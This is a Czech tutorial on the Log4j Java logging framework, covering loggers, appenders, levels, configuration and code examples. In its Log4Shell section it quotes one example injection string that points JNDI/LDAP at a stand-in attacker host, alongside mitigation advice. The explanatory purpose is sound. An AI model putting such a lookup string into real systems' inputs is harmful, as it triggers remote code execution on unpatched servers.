====== Log4j ======
Log4j je **populární logovací framework pro Javu**, který umožňuje vývojářům snadno zapisovat logy do různých výstupů (soubory, databáze, konzole) s různými úrovněmi detailu.
===== Co je Log4j =====
**Log4j** (Log for Java) je open-source knihovna od Apache Software Foundation, která poskytuje flexibilní a výkonný systém pro logování v Java aplikacích.
**Základní informace:**
* **Jazyk:** Java
* **Autor:** Apache Software Foundation
* **První verze:** 2001
* **Aktuální verze:** Log4j 2.x (kompletně přepsaná od verze 1.x)
* **Licence:** Apache License 2.0
===== Proč používat Log4j =====
**Výhody oproti základnímu System.out.println():**
* **Úrovně logování** - DEBUG, INFO, WARN, ERROR, FATAL
* **Flexibilní výstupy** - konzole, soubory, databáze, email, síť
* **Konfigurace bez úpravy kódu** - přes XML, JSON nebo properties soubory
* **Výkon** - asynchronní logování, minimální overhead
* **Filtrace** - logování pouze z určitých tříd/balíčků
* **Formátování** - vlastní formát log zpráv
* **Rotace logů** - automatické archivování starých logů
===== Základní architektura =====
Log4j 2 má tři hlavní komponenty:
==== 1. Logger ====
Objekt, který zapisuje logy. Každá třída má typicky svůj logger.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class MojeTrida {
private static final Logger logger = LogManager.getLogger(MojeTrida.class);
public void mojeMetoda() {
logger.debug("Debug zpráva");
logger.info("Informativní zpráva");
logger.warn("Varování");
logger.error("Chyba");
logger.fatal("Kritická chyba");
}
}
==== 2. Appender ====
Určuje, **kam** se logy zapisují:
* **ConsoleAppender** - výstup do konzole
* **FileAppender** - výstup do souboru
* **RollingFileAppender** - rotace log souborů
* **JDBCAppender** - zápis do databáze
* **SMTPAppender** - odeslání emailu
* **SocketAppender** - síťové logování
==== 3. Layout ====
Určuje **formát** log zpráv:
* **PatternLayout** - vlastní formát pomocí vzorů
* **JSONLayout** - výstup v JSON formátu
* **XMLLayout** - výstup v XML formátu
* **HTMLLayout** - HTML tabulka
===== Úrovně logování =====
Log4j 2 má šest úrovní závažnosti (od nejméně po nejvíce závažné):
^ Úroveň ^ Metoda ^ Použití ^
| **TRACE** | ''logger.trace()'' | Velmi detailní informace pro hloubkové ladění |
| **DEBUG** | ''logger.debug()'' | Ladící informace užitečné při vývoji |
| **INFO** | ''logger.info()'' | Obecné informace o běhu aplikace |
| **WARN** | ''logger.warn()'' | Varování o potenciálních problémech |
| **ERROR** | ''logger.error()'' | Chyby, které ale neukončí aplikaci |
| **FATAL** | ''logger.fatal()'' | Kritické chyby vedoucí k pádu aplikace |
**Hierarchie úrovní:** Když nastavíte úroveň na INFO, budou se logovat INFO, WARN, ERROR a FATAL, ale ne DEBUG a TRACE.
===== Konfigurace Log4j =====
==== XML konfigurace (log4j2.xml) ====
%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
==== Properties konfigurace (log4j2.properties) ====
# Root logger
rootLogger.level = info
rootLogger.appenderRef.console.ref = Console
rootLogger.appenderRef.file.ref = RollingFile
# Console appender
appender.console.type = Console
appender.console.name = Console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = %d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n
# File appender
appender.file.type = RollingFile
appender.file.name = RollingFile
appender.file.fileName = logs/app.log
appender.file.filePattern = logs/app-%d{yyyy-MM-dd}.log.gz
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
===== Pattern Layout - formátování =====
Nejpoužívanější vzory (patterns) pro formátování log zpráv:
^ Vzor ^ Popis ^ Příklad ^
| ''%d'' | Datum a čas | ''2026-01-06 14:23:15'' |
| ''%p'' | Úroveň (level) | ''INFO'', ''ERROR'' |
| ''%c'' | Název loggeru (třída) | ''com.firma.MojeTrida'' |
| ''%t'' | Název vlákna (thread) | ''main'', ''Thread-1'' |
| ''%m'' | Zpráva | Vlastní text zprávy |
| ''%n'' | Nový řádek | Zalomení řádku |
| ''%L'' | Číslo řádku | ''42'' |
| ''%M'' | Název metody | ''mojeMetoda'' |
| ''%F'' | Název souboru | ''MojeTrida.java'' |
**Příklad komplexního patternu:**
%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n
**Výstup:**
2026-01-06 14:23:15.123 [main] INFO com.firma.MojeTrida - Aplikace spuštěna
2026-01-06 14:23:16.456 [pool-1-thread-1] ERROR com.firma.Databaze - Připojení selhalo
===== Praktické příklady použití =====
==== Základní logování ====
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Kalkulacka {
private static final Logger logger = LogManager.getLogger(Kalkulacka.class);
public int secti(int a, int b) {
logger.debug("Sčítám {} + {}", a, b);
int vysledek = a + b;
logger.info("Výsledek: {}", vysledek);
return vysledek;
}
public int vydel(int a, int b) {
logger.debug("Dělím {} / {}", a, b);
if (b == 0) {
logger.error("Pokus o dělení nulou! a={}, b={}", a, b);
throw new ArithmeticException("Dělení nulou");
}
int vysledek = a / b;
logger.info("Výsledek: {}", vysledek);
return vysledek;
}
}
==== Logování výjimek ====
public void nactiSoubor(String cesta) {
logger.info("Načítám soubor: {}", cesta);
try {
// Kód pro čtení souboru
BufferedReader reader = new BufferedReader(new FileReader(cesta));
// ...
logger.debug("Soubor úspěšně načten");
} catch (FileNotFoundException e) {
logger.error("Soubor nenalezen: {}", cesta, e);
} catch (IOException e) {
logger.error("Chyba při čtení souboru: {}", cesta, e);
throw new RuntimeException("Nelze načíst soubor", e);
}
}
**Výstup:**
2026-01-06 14:23:15 INFO SouborovyManager:12 - Načítám soubor: data.txt
2026-01-06 14:23:15 ERROR SouborovyManager:20 - Soubor nenalezen: data.txt
java.io.FileNotFoundException: data.txt (No such file or directory)
at java.io.FileInputStream.open0(Native Method)
at java.io.FileInputStream.open(FileInputStream.java:195)
...
==== Podmíněné logování ====
// Nekontrolujte úroveň ručně - Log4j to dělá automaticky
// ŠPATNĚ:
if (logger.isDebugEnabled()) {
logger.debug("Zpráva: " + drahyVypocet());
}
// DOBŘE - použijte parametrizované zprávy:
logger.debug("Zpráva: {}", () -> drahyVypocet());
// Nebo pro více parametrů:
logger.debug("Uživatel {} provedl {} v {}",
() -> uzivatel.getJmeno(),
() -> akce.getNazev(),
() -> format(cas)
);
===== Log4Shell - bezpečnostní problém =====
V prosinci 2021 byla objevena **kritická zranitelnost CVE-2021-44228** v Log4j 2 nazvaná **Log4Shell**.
**Co se stalo:**
* Útočník mohl spustit vzdálený kód (Remote Code Execution)
* Pomocí speciálního textu v logu: ''${jndi:ldap://evil.com/a}''
* Postihlo miliony aplikací po celém světě
**Řešení:**
* **Aktualizovat** na Log4j 2.17.0 nebo novější
* **Vypnout** JNDI lookup: ''-Dlog4j2.formatMsgNoLookups=true''
* **Nahradit** starší verze
**Doporučení:**
* Vždy používejte **nejnovější verzi** Log4j
* Sledujte bezpečnostní bulletiny
* Pravidelně aktualizujte závislosti
===== Alternativy k Log4j =====
* **Logback** - nástupce Log4j 1.x, rychlejší
* **SLF4J** - abstraktní vrstva nad různými logovacími frameworky
* **java.util.logging** - vestavěné v Javě (méně funkcí)
* **tinylog** - velmi lehký framework
===== Závislosti (Maven) =====
Pro použití Log4j 2 v projektu:
org.apache.logging.log4j
log4j-api
2.22.1
org.apache.logging.log4j
log4j-core
2.22.1
===== Shrnutí =====
**Log4j je:**
* Profesionální nástroj pro logování v Java aplikacích
* Flexibilní - různé výstupy, formáty, úrovně
* Výkonný - asynchronní logování, minimální overhead
* Konfigurovatelný - bez změny kódu
* Nutno udržovat aktuální kvůli bezpečnosti
**Používá se pro:**
* Enterprise aplikace
* Webové servery (Tomcat, JBoss)
* Microservices
* Android aplikace (varianta)
* Všude, kde potřebujete robustní logování v Javě